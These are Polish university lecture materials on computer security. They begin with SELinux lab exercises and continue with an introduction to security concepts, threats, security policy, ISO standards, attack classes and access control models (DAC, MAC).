Narzędzie sesearch pozwala znaleźć zasady spełniające podane kryteria. Np. gdy szukamy zasad zezwalających na dowolne operacje wykonywane przez użytkownika user_u (typ user_t) na plikach w etc (typ etc_t), to:

$ sesearch -A -s user_t -t etc_t

Ćwiczenia

1. Zainstaluj narzędzia SELinux oraz włącz w trybie enforcing oraz politykę targeted/default.

2. Utwórz użytkownika setest (i nadaj mu hasło), oraz połącz go z SELinux jako user_u.

3. Sprawdź z jakimi kontekstami są uruchomione procesy przez użytkownika guest, a z jakimi - setest.

4. Sprawdź, czy guest może zobaczyć komunikaty jądra. A setest? Sprawdź co przy tej operacji trafiło do dziennika.

5. Zmodyfikuj konfigurację, tak aby obydwaj mieli dostęp do komunikatów jądra.

6. Sprawdź jakie uprawnienia ma plik /etc/crontab. Czy użytkownicy guest i setest powinni móc go przeczytać? A jak jest w praktyce?

7. Zezwól użytkownikom na odczyt pliku /etc/crontab.

8. Korzystając z modułu polityki example (załączonego do tych materiałów), przygotuj program /bin/example (będący kopią /bin/cat), który będzie mógł jako jedyny przeczytać plik /tmp/example-file.

Wskazówka: pamiętaj o nadaniu odpowiednich kontekstów plikom.

Scenariusz opracowano na podstawie materiałów:

http://selinuxproject.org/

http://wiki.centos.org/HowTos/SELinux

http://www.nsa.gov/research/selinux/

http://www.gentoo.org/proj/en/hardened/selinux/selinux-handbook.xml

http://students.mimuw.edu.pl/SO/Projekt05-06/temat5-g7/se/se.html

Wprowadzenie do problematyki bezpieczeństwa systemów komputerowych

Wprowadzenie do problematyki bezpieczeństwa systemów komputerowych

Co to jest bezpieczeństwo?

Przedstawienie problematyki bezpieczeństwa systemów komputerowych systemów komputerowych należy rozpocząć od zdefiniowania pojęcia bezpieczeństwa. Niestety trudno skonstruować uniwersalną i jednoznaczną definicję tego pojęcia, która pokryłaby wszystkie oczekiwania stawiane w tej dziedzinie systemom komputerowym. Literatura przedmiotu podaje bardzo dużo, często znacznie odbiegających od siebie definicji. Przykład ciekawej definicji można znaleźć w [1]:

Def. 

System komputerowy jest bezpieczny, jeśli jego użytkownik może na nim polegać, a zainstalowane oprogramowanie działa zgodnie ze swoją specyfikacją. W myśl tej definicji, możemy system uznać za bezpieczny, jeśli np. można od niego oczekiwać, że wprowadzone na stałe dane nie zostaną utracone, nie ulegną zniekształceniu i nie zostaną pozyskane przez nikogo nieuprawnionego - ufamy, że system będzie przechowywał i chronił dane.

Bezpieczeństwo jest elementem szerszego kontekstu, nazywanego wiarygodnością systemu komputerowego. W kontekście tym wyróżnia się w sumie cztery atrybuty wiarygodności:

System wiarygodny =

- dyspozycyjny (available) = dostępny na bieżąco

- niezawodny (reliable) = odporny na awarie

- bezpieczny (secure) = zapewniający ochronę danych

- bezpieczny (safe) = bezpieczny dla otoczenia, przyjazny dla środowiska

Czynniki decydujące o znaczeniu bezpieczeństwa

O doniosłości problematyki bezpieczeństwa dla współczesnej cywilizacji decyduje przede wszystkim wszechobecność technik komputerowych. W szczególności rozważyć należy następujące zagadnienia:

• rola systemów informatycznych (szczególnie sieci) dla funkcjonowania współczesnej cywilizacji jest nie do przecenienia; nie ma już praktycznie obszaru działalności człowieka, w którym żadne elementy techniki komputerowej (bądź szerzej mikroprocesorowej) nie byłyby obecne. Jako drobny przykład niech posłuży telefonia komórkowa, towarzysząca dziś człowiekowi niemal ciągle i wszędzie;
• trudności związane ze skonstruowaniem i eksploatacją systemu spełniającego wysokie wymagania w zakresie bezpieczeństwa (niedoskonałości technologii, konfiguracji i polityki bezpieczeństwa) stwarzają niebezpieczeństwo niedopracowanego pod względem bezpieczeństwa i niezawodności produktu informatycznego lub nieodpowiedniego pod owym względem wykorzystania tego produktu;
• elementarny konflikt interesów występujący pomiędzy użytecznością systemu a ryzykiem związanym z jego wykorzystaniem rodzi szereg pragmatycznych problemów (często całkowicie pozatechnicznych) związanych z oczywistymi utrudnieniami we wdrożeniu i użytkowaniu systemów o podwyższonym bezpieczeństwie.

Zagrożenia bezpieczeństwa

Zagrożenia bezpieczeństwa mają różną naturę. Mogą być najzupełniej przypadkowe lub powstać w efekcie celowego działania. Mogą wynikać z nieświadomości lub naiwności użytkownika, bądź też mogą być motywowane chęcią zysku, poklasku lub odwetu. Mogą pochodzić z zewnątrz systemu lub od jego środka.

Większość działań skierowanych w efekcie przeciwko bezpieczeństwu komputerowemu jest w świetle aktualnego prawa traktowana jako przestępstwa. Możemy tu wyróżnić w szczególności:

• włamanie do systemu komputerowego
• nieuprawnione pozyskanie informacji
• destrukcja danych i programów
• sabotaż (sparaliżowanie pracy) systemu
• piractwo komputerowe, kradzież oprogramowania
• oszustwo komputerowe i fałszerstwo komputerowe
• szpiegostwo komputerowe

Istotne jest, iż w przypadku jurysdykcji większości krajów europejskich, praktycznie wszystkie przypadki naruszające bezpieczeństwo wyczerpują znamiona przestępstw określonych w obowiązującym prawie.

W Polsce w szczególności mają tu zastosowanie:

• artykuły 267-269 Kodeksu Karnego
• artykuł 287 Kodeksu Karnego

(http://www.gazeta-it.pl/prawo/przestepstwa_komputerowe.html)

Zazwyczaj przestępstwa te nie są ścigane z oskarżenia publicznego, lecz na wniosek pokrzywdzonego.

W kontekście bezpieczeństwa komputerowego powszechnie spotyka użycie popularnego terminu hacker na określenie osoby podejmującej atak. Termin ten oryginalnie nie posiadał wydźwięku pejoratywnego. Wg „The Hacker's Dictionnary" (Guy L. Steele et al.) hacker jest to (1) osoba, której sprawia przyjemność poznawanie szczegółowej wiedzy na temat systemów komputerowych i rozszerzanie tej umiejętności, w przeciwieństwie do większości użytkowników, którzy wolą uczyć się niezbędnego minimum; (2) osoba, która entuzjastycznie zajmuje się programowaniem i nie lubi teorii dotyczącej tej dziedziny. W związku z tym w niniejszych materiałach stosować będziemy bardziej odpowiednie terminy (zależnie od typu rozważanego ataku), takie jak: cracker, intruz, włamywacz, napastnik, wandal czy po prostu - przestępca.

Przykłady ataków na systemy informatyczne znaleźć można w wielu dziedzinach życia osobistego, gospodarki, przemysłu czy funkcjonowania organów państwowych. Przykładowo w 1997 r. CIWARS (Centre for Infrastructural Warfare Studies) odnotował 2 incydenty (w Brazylii i w Australii) zaciekłej konkurencji gospodarczej, w których zaatakowały się wzajemnie (omawianymi później atakami SYN flood) konkurujące ze sobą firmy ISP (operatorzy dostępu do Internetu). Jako działania anarchistyczne można sklasyfikować przykładowo incydent z 1997 r., w którym grupa Damage Inc. zastąpiła witrynę Urzędu Rady Ministrów stroną proklamującą utworzenie Hackrepubliki Polskiej i Centrum Dezinformacyjnego Rządu z odsyłaczami do playboy.com. Być może jako terroryzm natomiast - incydent z 1998 r., gdy w akcie protestu przeciwko próbom nuklearnym grupa Milw0rm zaatakowała systemy indyjskiego BARC (Bhabba Atomic Research Center).

Komponenty systemu informatycznego w kontekście bezpieczeństwa

Elementarne składniki systemu informatycznego jakie należy wyróżnić przy omawianiu problematyki bezpieczeństwa to:

• stanowisko komputerowe i infrastruktura sieciowa
• system operacyjny i usługi narzędziowe
• aplikacje użytkowe

Ogólne problemy konstrukcji zabezpieczeń

Problematyka bezpieczeństwa, jak każda dziedzina, podlega pewnym ogólnym prawom, niektórym sformalizowanym, innym - nieformalnym. Można wyróżnić pewne truizmy obowiązujące podczas projektowania i realizowania zabezpieczeń. Niektóre z nich to:

• Nie istnieje absolutne bezpieczeństwo. Wiąże się to z wieloma przyczynami. Jedną z nich jest fakt, iż nigdy nie jesteśmy w stanie przewidzieć z góry wszystkich możliwych zagrożeń, tym bardziej że często należy opracowywać zabezpieczenia z odpowiednim wyprzedzeniem. Szybki rozwój technologii informatycznych implikuje powstawanie coraz to nowych zagrożeń. Czas reakcji na nie nigdy nie jest zerowy i w związku z tym nawet dla najlepiej opracowanego systemu zabezpieczeń istnieje ryzyko powstania okresu dezaktualizacji zastosowanych mechanizmów bezpieczeństwa. Ewolucja zagrożeń pociąga za sobą wyścig atakujących i broniących („policjantów i złodziei"). Innym istotnym powodem niemożliwości osiągnięcia 100% bezpieczeństwa jest ludzka słabość, w szczególności omylność projektantów, programistów, użytkowników systemów informatycznych, skutkująca błędami w oprogramowaniu systemowym i aplikacyjnym oraz niewłaściwym lub niefrasobliwym jego wykorzystaniu.
  

Skoro zatem nie mamy 100% bezpieczeństwa, jaki jego poziom można uznać za zadowalający? Otóż wydaje się, że najwłaściwszą odpowiedzią na to pytanie jest - taki, który okaże się dla atakującego na tyle trudny do sforsowania, wymagając operacji żmudnych lub czasochłonnych, iż uczyni to atak nieatrakcyjnym lub nieekonomicznym (lub oczywiście nieopłacalnym wg innego kryterium obranego przez atakującego). Zatem należy na tyle utrudnić włamywaczowi atak, aby z niego zrezygnował widząc marne, choć nadal niezerowe, szanse powodzenia.

• Napastnik na ogół nie pokonuje zabezpieczeń, tylko je obchodzi. Przeprowadzenie skutecznego ataku na jakikolwiek aktywny mechanizm zabezpieczeń jest raczej czasochłonne i stosowane tylko w ostateczności. Zwykle mniej kosztowne i szybsze jest znalezienie luki w środowisku systemu informatycznego, zabezpieczanego owym mechanizmem niż łamanie jego samego, która to luka pozwoli skutecznie wtargnąć do systemu nie jako „z boku" zabezpieczeń. Przy tej okazji warto wspomnieć, że okazuje się niezmiennie od wielu lat, iż większość ataków przeprowadzanych na systemy informatyczne realizowana jest „od środka", czyli przez zaufanych, poniekąd, użytkowników systemu, którzy znając system jakim się posługują niewątpliwie łatwiej mogą znaleźć i wykorzystać luki bezpieczeństwa.
• Nie należy pokładać zaufania w jednej linii obrony. Z poprzedniej obserwacji wynika, że obejście aktywnego mechanizmu zabezpieczeń często bywa możliwe i może istotnie narażać bezpieczeństwo całego systemu. W związku z tym, naturalną konsekwencją tego jest konstruowanie wielopoziomowych zabezpieczeń poprzez budowanie kolejnych swoistych „linii obrony", z których każda po przejściu poprzedniej stanowić będzie, przynajmniej potencjalnie, kolejną zaporę dla atakującego.
• Złożoność jest najgorszym wrogiem bezpieczeństwa. Skomplikowane systemy są trudne do opanowania, również pod względem bezpieczeństwa. Istotnym usprawnieniem zarządzania systemem jest jego modularna konstrukcja, dająca szansę na zwiększenie kontroli nad konfiguracją i funkcjonowaniem systemu. Dotyczy to również wielopoziomowych zabezpieczeń.
• System dopóty nie jest bezpieczny, dopóki nie ma pewności że jest. Bardzo łatwo popełnić błąd zakładając zupełnie inaczej - dopóki brakuje odnotowanych symptomów, iż bezpieczeństwo systemu zostało naruszone, możemy spać spokojnie. Zaobserwowanie ataku nie jest trywialne nawet w systemie poprawnie monitorowanym. Ponadto symptomy ataku zwykle występują dopiero po jego zakończeniu, kiedy to może być zbyt późno by przeprowadzać akcję ratunkową, kiedy ucierpiały już newralgiczne składniki systemu, poufne dane lub reputacja firmy.

Wzrost poziomu bezpieczeństwa odbywa się kosztem wygody. Użytkownicy systemu pragną przede wszystkim efektywności i wygody swojej pracy.

Strategia bezpieczeństwa

Opracowanie skutecznych zabezpieczeń jest problemem bardzo złożonym. Wymaga uwagi i systematyczności na każdym etapie. Niewątpliwie decydujące znaczenia ma etap projektowy, na którym popełnione błędy mogą być nienaprawialne w kolejnych etapach. Etap projektowy powinien rozpocząć się od wypracowania strategii firmy dotyczącej bezpieczeństwa (i to nie wyłącznie systemu informatycznego). Polega to w ogólnym schemacie na odpowiedzi na następujące pytania:

1. „Co chronić?” (określenie zasobów)
2. „Przed czym chronić?” (identyfikacja zagrożeń)
3. „Ile czasu, wysiłku i pieniędzy można poświęcić na należną ochronę” (oszacowanie ryzyka, analiza kosztów i zysku)

Określenie zasobów = „Co chronić?”

Zasoby jakie mogą podlegać ochronie obejmują m.in. (w zależności od typu instytucji, dziedziny działalności itp.):

• sprzęt komputerowy
• infrastruktura sieciowa
• wydruki
• strategiczne dane
• kopie zapasowe
• wersje instalacyjne oprogramowania
• dane osobowe
• dane audytu
• zdrowie pracowników
• prywatność pracowników
• zdolności produkcyjne
• wizerunek publiczny i reputacja

Identyfikacja zagrożeń = „Przed czym chronić?”

Zagrożenia jakie należy rozważyć stanowią m.in.:

• włamywacze komputerowi
• infekcje wirusami
• destruktywność pracowników / personelu zewnętrznego
• błędy w programach
• kradzież dysków / laptopów (również w podróży służbowej)
• utrata możliwości korzystania z łączy telekomunikacyjnych
• bankructwo firmy serwisowej / producenta sprzętu
• choroba administratora / kierownika (jednoczesna choroba wielu osób)
• powódź

Polityka bezpieczeństwa

Polityka bezpieczeństwa stanowi element polityki biznesowej firmy. Jest to formalny dokument opisujący strategię bezpieczeństwa. Jej realizacja podlega oczywistym etapom:

1. zaprojektowanie
2. zaimplementowanie
3. zarządzanie (w tym monitorowanie i okresowe audyty bezpieczeństwa)

Szczególnie godnym podkreślenia jest etap 3. odzwierciedlający ciągłą ewolucję jaką przechodzą działalność firmy, środowisko rynkowe jej funkcjonowania, zagrożenia i technologie obrony. Wymaga to ciągłego "trzymania ręki na pulsie".

Zakres

Zakres tematyczny jaki powinna obejmować polityka bezpieczeństwa to:

• definicja celu i misji polityki bezpieczeństwa
• standardy i wytyczne których przestrzegania wymagamy
• kluczowe zadania do wykonania
• zakresy odpowiedzialności

Specyfikacja środków

Polityka bezpieczeństwa winna definiować środki jej realizacji obejmujące takie elementy jak:

• ochrona fizyczna
• polityka proceduralno-kadrowa (odpowiedzialność personalna)
• mechanizmy techniczne

Normy i zalecenia zarządzania bezpieczeństwem

Istnieje wiele dokumentacji poświęconej realizacji polityki bezpieczeństwa, w tym również norm i standardów międzynarodowych, którymi należy posiłkować się przy opracowywaniu własnej polityki bezpieczeństwa. Pod tym względem kanonem jest norma ISO/IEC Technical Report 13335 (ratyfikowana w naszym kraju jako PN-I-13335). Norma ta jest dokumentem wieloczęściowym obejmującym następujące zagadnienia:

TR 13335-1 terminologia i modele

TR 13335-2 metodyka planowania i prowadzenia analizy ryzyka, specyfikacja wymagań stanowisk pracy związanych z bezpieczeństwem systemów informatycznych

TR 13335-3 techniki zarządzania bezpieczeństwem

- zarządzanie ochroną informacji

- zarządzanie konfiguracją systemów IT

- zarządzanie zmianami

TR 13335-4 metodyka doboru zabezpieczeń

WD 13335-5 zabezpieczanie połączeń z sieciami zewnętrznymi

Jednakże norm ISO dotyczących bezpieczeństwa jest wiele. Można tu wymienić chociażby bogaty podzbiór (wycinek listy do roku 1995):

ISO 2382-8:1986 Information processing systems -  Vocabulary -  Part 08: Control, integrity and security
ISO 6551:1982 Petroleum liquids and gases -  Fidelity and security of dynamic measurement -  Cabled transmission of electric and/or electronic pulsed data
ISO 7498-2:1989 Information processing systems -  Open Systems Interconnection -  Basic Reference Model -  Part 2: Security Architecture
ISO/IEC 7816-4:1995 Information technology -  Identification cards - Integrated circuit(s) cards with contacts -  Part 4: Interindustry commands for interchange
ISO/IEC 9796:1991 Information technology -  Security techniques -  Digital signature scheme giving message recovery
ISO/IEC 9797:1994 Information technology -  Security techniques -  Data integrity mechanism using a cryptographic check function employing a block cipher algorithm
ISO/IEC 9798-1:1991 Information technology -  Security techniques -  Entity authentication mechanisms -  Part 1: General model
ISO/IEC 9798-2:1994 Information technology -  Security techniques -  Entity authentication -  Part 2: Mechanisms using symmetric encipherment algorithms
ISO/IEC 9798-3:1993 Information technology -  Security techniques -  Entity authentication mechanisms -  Part 3: Entity authentication using a public key algorithm
ISO/IEC 9798-4:1995 Information technology -  Security techniques - Entity authentication -  Part 4: Mechanisms using a cryptographic check function
ISO/IEC 10118-1:1994 Information technology -  Security techniques -  Hash-functions -  Part 1: General
ISO/IEC 10118-2:1994 Information technology -  Security techniques -  Hash-functions -  Part 2: Hash-functions using an n-bit block cipher algorithm
ISO/IEC 10164-7:1992 Information technology -  Open Systems Interconnection -  Systems Management: Security alarm reporting function
ISO/IEC 10164-8:1993 Information technology -  Open Systems Interconnection -  Systems Management: Security audit trail function
ISO/IEC DIS 10181-1 Information technology -  Open Systems Interconnection -  Security Frameworks for Open Systems: Overview
ISO/IEC DIS 10181-2 Information technology -  Open Systems Interconnection -  Security frameworks for open systems: Authentication framework
ISO/IEC DIS 10181-3 Information technology -  Open Systems Interconnection -  Security frameworks in open systems -  Part 3: Access control
ISO/IEC DIS 10181-4 Information technology -  Open Systems Interconnection -  Security frameworks in Open Systems -  Part 4: Non-repudiation
ISO/IEC DIS 10181-5 Information technology -  Security frameworks in open systems -  Part 5: Confidentiality
ISO/IEC DIS 10181-6 Information technology -  Security frameworks in open systems -  Part 6: Integrity
ISO/IEC DIS 10181-7 Information technology -  Open Systems Interconnection -  Security Frameworks for Open Systems: Security Audit Framework
ISO/IEC 10736:1995 Information technology -  Telecommunications and information exchange between systems -  Transport layer security  protocol
ISO/IEC 10745:1995 Information technology -  Open Systems Interconnection -  Upper layers security model
ISO 11166-1:1994 Banking -  Key management by means of asymmetric algorithms -  Part 1: Principles, procedures and formats
ISO 11166-2:1994 Banking -  Key management by means of asymmetric algorithms -  Part 2: Approved algorithms using the RSA cryptosystem
ISO 11442-1:1993 Technical product documentation -  Handling of  computer-based technical information -  Part 1: Security requirements
ISO/IEC 11577:1995 Information technology - Open Systems Interconnection -  Network layer security protocol
ISO/IEC DIS 11586-1 Information technology - Open Systems Interconnection -  Generic upper layers security: Overview, models and notation
ISO/IEC DIS 11586-2 Information technology - Open Systems Interconnection -  Generic upper layers security: Security Exchange Service Element (SESE) service specification
ISO/IEC DIS 11586-3 Information technology - Open Systems Interconnection -  Generic upper layers security: Security Exchange Service Element (SESE) protocol specification
ISO/IEC DIS 11586-4 Information technology - Open Systems Interconnection -  Generic upper layers security: Protecting transfer syntax specification
ISO/IEC DIS 11586-5 Information technology - Open Systems Interconnection -  Generic Upper Layers Security: Security Exchange Service Element Protocol Implementation Conformance Statement (PICS) 
ISO/IEC DIS 11586-6 Information technology -  Open Systems Interconnection -  Generic Upper Layers Security: Protecting Transfer Syntax Implementation Conformance Statement (PICS) 
ISO/IEC DIS 11770-1 Information technology -  Security techniques -  Key management -  Part 1: Framework
ISO/IEC DIS 11770-2 Information technology -  Security techniques -  Key management -  Part 2: Mechanisms using symmetric techniques
ISO/IEC DISP 12059-7 Information technology - International Standardized Profiles -  OSI Management -  Common information for management functions -  Part 7: Security alarm reporting
ISO/IEC DISP 12059-8 Information technology -  International Standardized Profiles -  OSI Management -  Common information for management functions -  Part 8: Security audit trail
ISO/IEC DISP 12060-6 Information technology -  International Standardized Profiles - OSI Management -  Management functions - Part 6: Security management capabilities 
ISO/IEC DTR 13335-1 Information technology -  Guidelines for the management of IT security -  Part 1: Concepts and models for IT security
ISO/IEC DTR 13335-2 Information technology -  Guidelines for the management of IT security -  Part 2: Planning and managing IT security (Future Technical Report)
ISO/IEC DTR 13335-3 Information technology -  Guidelines for the management of IT security -  Part 3: Techniques for the management of IT security
ISO/IEC TR 13594:1995 Information technology -  Lower layers security
ISO/IEC DIS 14980 Information technology -  Code of practice for information security management

[1] Simson Garfinkel, "Practical Unix and Internet Security", II ed., O'Reilly, 2003

Podstawowe definicje i problemy

Klasy ataków

pasywne / aktywne

Pod względem interakcji atakującego z atakowanym systemem wyróżniamy ataki:

• pasywne - atakujący ma dostęp do danych (komunikacji) w systemie, mogąc je odczytać, lecz ich nie modyfikuje - przykład: podsłuch komunikacji pomiędzy legalnymi użytkownikami systemu.

• aktywne - atakujący pośredniczy w przetwarzaniu danych (komunikacji) w systemie, mogąc je nie tylko odczytać, lecz również sfałszować czy spreparować z premedytacją, tak by uzyskać zamierzony cel ataku - taki atak nazywa się popularnie „człowiek w środku" (ang. „man in the middle").

lokalne / zdalne

Pod względem źródła rozpoczęcia ataku wyróżniamy ataki:

• lokalny - atakujący już ma dostęp do systemu (konto) i próbuje zwiększyć swe uprawnienia
• zdalny - atakujący nie posiada jeszcze żadnych uprawnień w systemie atakowanym

Ogólne formy ataku elektronicznego

Najczęściej spotykanymi formami ataku są:

• podszywanie (ang. masquerading) - atakujący (osoba, program) udaje inny podmiot, w domyśle zaufany systemowi atakowanemu, np. fałszywy serwer www podszywa się pod znaną witrynę internetową
• podsłuch (ang. eavesdropping) - pozyskanie danych składowanych, przetwarzanych lub transmitowanych w systemie - typowy przykład: przechwycenie niezabezpieczonego hasła klienta przesyłanego do serwera
• odtwarzanie (ang. replaying) - użycie ponowne przechwyconych wcześniej danych, np. hasła
• manipulacja (ang. tampering) - modyfikacja danych w celu zrekonfigurowania systemu lub wprowadzenia go do stanu, z którego atakujący może osiągnąć bezpośrednio lub pośrednio korzyść (np. zastosować skuteczny atak gotowym narzędziem)
• wykorzystanie luk w systemie (ang. exploiting) - posłużenie się wiedzą o znanej luce, błędzie w systemie lub gotowym narzędziem do wyeksploatowania takiej luki - bardzo częste w przypadku ataków zdalnych

Konkretne przypadki ataków ewoluują wraz z rynkiem informatycznym. Można np. przedstawić rys historyczny prawdopodobnie najbardziej typowych ataków przeprowadzanych w Internecie na przestrzeni ostatnich lat:

Podstawowe fazy ataku

W czasie przeprowadzania ataku pojawiają się zwykle mniej lub bardziej jawnie następujące ogólne fazy:

1. skanowanie (wyszukanie słabości, np. sondowanie usług)
2. wyznaczenie celu (np. niezabezpieczona usługa, znany exploit)
3. atak na system
4. modyfikacje systemu umożliwiające późniejszy powrót
5. usuwanie śladów
6. propagacja ataku

Podstawowe środki ostrożności

W celu zminimalizowania podatności na typowe ataki należy stosować elementarne zasady „higieny osobistej". Dotyczą one wszystkich komponentów systemu informatycznego, stanowisk komputerowych, infrastruktury sieciowej , usług aplikacyjnych.

Elementarna ochrona stacji roboczej

Do podstawowych środków ochrony stanowisk komputerowych można zaliczyć przykładowo:

• uniemożliwienie startowania systemu z nośników wymiennych
• ograniczenie wykorzystania przestrzeni lokalnych dysków twardych
• ograniczenie stosowania nośników wymiennych (stacji dyskietek, nagrywarek)
• rejestracja prób dostępu do systemu i ich limitowanie
  (kontrola, kto i kiedy korzystał z systemu)
• bezpieczne kasowanie poufnych danych
• uniemożliwienie usunięcia / wyłączenia zabezpieczeń, np. antywirusowych
• konsekwentna polityka haseł użytkowników

Elementarna ochrona sieci lokalnej

Do podstawowych środków ochrony infrastruktury sieciowej można zaliczyć przykładowo:

• dobór medium i topologii gwiazdy (okablowanie strukturalne)
• fizyczna ochrona pomieszczeń z węzłami sieci i serwerami
• zdefiniowanie listy stanowisk, z których dany użytkownik może uzyskać dostęp do systemu (adresy MAC lub IP)
• usuwanie nieużywanych kont użytkowników

Elementarna ochrona usług sieciowych

Procedura ochrony dostępu do usług sieciowych polega w ogólności na skrupulatnym przeprowadzeniu następującej sekwencji operacji:

1. usunięcie z systemu wszystkich usług zbędnych, najlepiej poprzez całkowite odinstalowanie, a co najmniej - dezaktywację
2. zastąpienie usług niezbędnych odpowiednikami o podwyższonym bezpieczeństwie (jeśli to możliwe i takie odpowiedniki są dostępne)
3. kontrola dostępu do pozostałych usług (np. poprzez zapory sieciowe firewall)

Złożoność problemu stosowania zabezpieczeń

Z realizacją zabezpieczeń związany jest szereg problemów, stawiających broniących od razu na pozycji gorszej niż atakującego. Dotyczą one m.in. asymetrii obrony i ataku, konieczności uwzględniania kontekstu całego otoczenia celu zabezpieczeń oraz trudności utrzymania poprawności zabezpieczeń (zarządzania i pielęgnacji).

• asymetria

Aby skutecznie zabezpieczyć system należy usunąć ''wszystkie'' słabości,
aby skutecznie zaatakować - wystarczy znaleźć ''jedną''.

• kontekst otoczenia systemu

Bezpieczeństwo powinno być rozważane w kontekście nie pojedynczego systemu informatycznego, ale całego otoczenia, w którym on się znajduje.

• zarządzanie i pielęgnacja

Zabezpieczenie systemu nie jest pojedynczą operacją, ale ciągłym procesem.

Stosowanie mechanizmów bezpieczeństwa

W związku z w/w trudnościami realizacji zabezpieczeń istotne jest stosowanie kilku podstawowych reguł, w szczególności są to:

• zasada naturalnego styku z użytkownikiem
• zasada spójności poziomej i pionowej
• zasada minimalnego przywileju
• zasada domyślnej odmowy dostępu

Zasada naturalnego styku z użytkownikiem

Zabezpieczenie nie możne być postrzegane przez użytkowników jako nienaturalny element systemu, stanowiący utrudnienie w ich pracy. Jeśli wprowadzony zostanie nawet najbardziej wyrafinowany mechanizm bezpieczeństwa, którego jednak stosowanie będzie wymagało od użytkowników dodatkowo zbyt obciążających ich (czasochłonnych) operacji, to wkrótce wypracują oni sposób jego permanentnego obejścia i - w efekcie stanie się ów mechanizm bezużyteczny.

Zasada spójności poziomej i pionowej

Stosowanie zabezpieczeń w systemie musi zapewniać podstawowy warunek kompletności: spójność poziomą i pionową. Są one odpowiednikiem reguły „trwałości łańcucha", która mówi, iż cały łańcuch jest tak trwały, jak jego najsłabsze ogniwo. Spójność pozioma wymaga aby wszystkie, spośród potencjalnie wielu komponentów w danej warstwie systemu (jako dobry przykład modelu warstwowego można tu obrać model OSI obowiązujący w sieciach komputerowych), zostały zabezpieczone na jednakowym poziomie. W życiu codziennym spotykamy przykłady tej reguły - gdy zabezpieczamy okna pomieszczenia kratami, to wszystkie, a nie co drugie, gdy budujemy ogrodzenie, to do wysokości identycznie trudniej do sforsowania na całej jego długości. Gdy zabezpieczamy protokoły komunikacyjne danej warstwy modelu OSI, którymi posługuje się nasz system, to wszystkie niezbędne, a nie tylko jeden wybrany, choćby był on popularniejszy i częściej wykorzystywany od pozostałych.

Spójność pionowa mówi o konieczności zastosowania kompletnych zabezpieczeń „w pionie" - jak kraty w oknach na pierwszym piętrze, to i na parterze czy innej „dostępnej" z zewnątrz kondygnacji, analogicznie - jak jedna warstwa przez którą istnieje dostęp do systemu, to każda inna, w której niezależnie taki dostęp też jest możliwy.

Zasada minimalnego przywileju

Użytkownikom należy udzielać uprawnień w sposób zgodny z polityką bezpieczeństwa - tylko i wyłącznie takich, które są niezbędne do zrealizowania ich pracy. Zmianie zakresu obowiązków użytkownika powinna towarzyszyć zmiana zakresu uprawnień.

Zasada domyślnej odmowy dostępu

Jeśli na podstawie zdefiniowanych reguł postępowania mechanizmy obrony nie potrafią jawnie rozstrzygnąć, jaką decyzję podjąć wobec analizowanych operacji (np. nadchodzącego pakietu protokołu komunikacyjnego), to decyzją ostateczną powinna być odmowa dostępu (odrzucenie pakietu). Wiele urządzeń i protokołów jest jednak domyślnie konfigurowanych inaczej, czy to w celu wygody użytkownika, czy z założenia wynikającego z ich funkcji (por. routing).

Elementarne pojęcia

W celu przedstawienia problematyki ataku i obrony należy wprowadzić definicje niezbędnych pojęć. Dotyczyć one będą w szczególności użytkowników, ale także i innych komponentów systemu.

1.Identyfikacja (ang. identification)

• możliwość rozróżnienia użytkowników, np. użytkownicy są identyfikowani w systemie operacyjnym za pomocą UID (user identifier)

2.Uwierzytelnianie (ang. authentication)

• proces weryfikacji tożsamości użytkownika; najczęściej opiera się na tym:
  • co użytkownik wie (proof by knowledge), np. zna hasło
  • co użytkownik ma (proof by possession), np. elektroniczną kartę identyfikacyjną

3.Autoryzacja (ang. authorization)

• proces przydzielania praw (dostępu do zasobów) użytkownikowi

4.Kontrola dostępu (ang. access control)

• procedura nadzorowania przestrzegania praw (dostępu do zasobów)

5.Poufność (ang. confidentiality)

• ochrona informacji przed nieautoryzowanym jej ujawnieniem

6.Nienaruszalność (integralność; ang. data integrity)

• ochrona informacji przed nieautoryzowanym jej zmodyfikowaniem (ew. detekcja takiej modyfikacji)

7.Autentyczność (ang. authenticity)

• pewność co do pochodzenia (autorstwa i treści) danych

8.Niezaprzeczalność (ang. nonrepudiation)

• ochrona przed fałszywym zaprzeczeniem
  • przez nadawcę - faktu wysłania danych
  • przez odbiorcę - faktu otrzymania danych

Autoryzacja

Z procesem autoryzacji związane są kolejne pojęcia:

Zasób (obiekt)

• jest jednostką, do której dostęp podlega kontroli
• przykłady: programy, pliki, relacje bazy danych, czy całe bazy danych
• obiekty o wysokiej granulacji: poszczególne krotki bazy danych

Podmiot

• ma dostęp do zasobu
• przykłady: użytkownik, grupa użytkowników, terminal, komputer, aplikacja, proces

Prawa dostępu

• określają dopuszczalne sposoby wykorzystania zasobu przez podmiot

Filozofie przydziału uprawnień

W dowolnym modelu autoryzacji można stosować jedną z poniższych czterech możliwych filozofii:

1. Wszystko jest dozwolone.
2. Wszystko, co nie jest (jawnie) zabronione, jest dozwolone.
3. Wszystko, co nie jest (jawnie) dozwolone, jest zabronione.
4. Wszystko jest zabronione.

Z praktycznego punktu widzenia w grę wchodzić mogą środkowe dwie. Jak można zaobserwować, tylko trzecia jest zgodna z zasadą minimalnego przywileju i domyślnej odmowy dostępu.

Kontrola dostępu do danych

Wyróżnia się dwie ogólne metody kontroli dostępu do danych: uznaniową (DAC) i ścisłą. (MAC) Istnieją też ich różne warianty - jak np. kontrola oparta o role (RBAC) powszechnie spotykana np. systemach baz danych.

Uznaniowa kontrola dostępu (Discretionary Access Control)

Podstawowe własności tego podejścia są następujące:

• właściciel zasobu może decydować o jego atrybutach i uprawnieniach innych użytkowników systemu względem tego zasobu
• DAC oferuje użytkownikom dużą elastyczność i swobodę współdzielenia zasobów
• powszechnym zagrożeniem jest niefrasobliwość przydziału uprawnień (np. wynikająca z nieświadomości lub zaniedbań) i niewystarczająca ochrona zasobów
• najczęściej uprawnienia obejmują operacje odczytu i zapisu danych oraz uruchomienia programu

Ścisła kontrola dostępu (Mandatory Access Control)

Podstawowe własności tego podejścia są następujące:

• precyzyjne reguły dostępu automatycznie wymuszają uprawnienia
• nawet właściciel zasobu nie może dysponować prawami dostępu
• MAC pozwala łatwiej zrealizować (narzucić) silną politykę bezpieczeństwa i konsekwentnie stosować ją do całości zasobów

Ścisła kontrola dostępu operuje na tzw. poziomach zaufania wprowadzając etykiety poziomu zaufania (sensitivity labels) przydzielane w zależności np. od stopnia poufności. Mogą one być następjące:

 ogólnie dostępne < do użytku wewn. < tylko dyrekcja < tylko zarząd

czy w innego typu instytucji:

 jawne < poufne < tajne < ściśle tajne

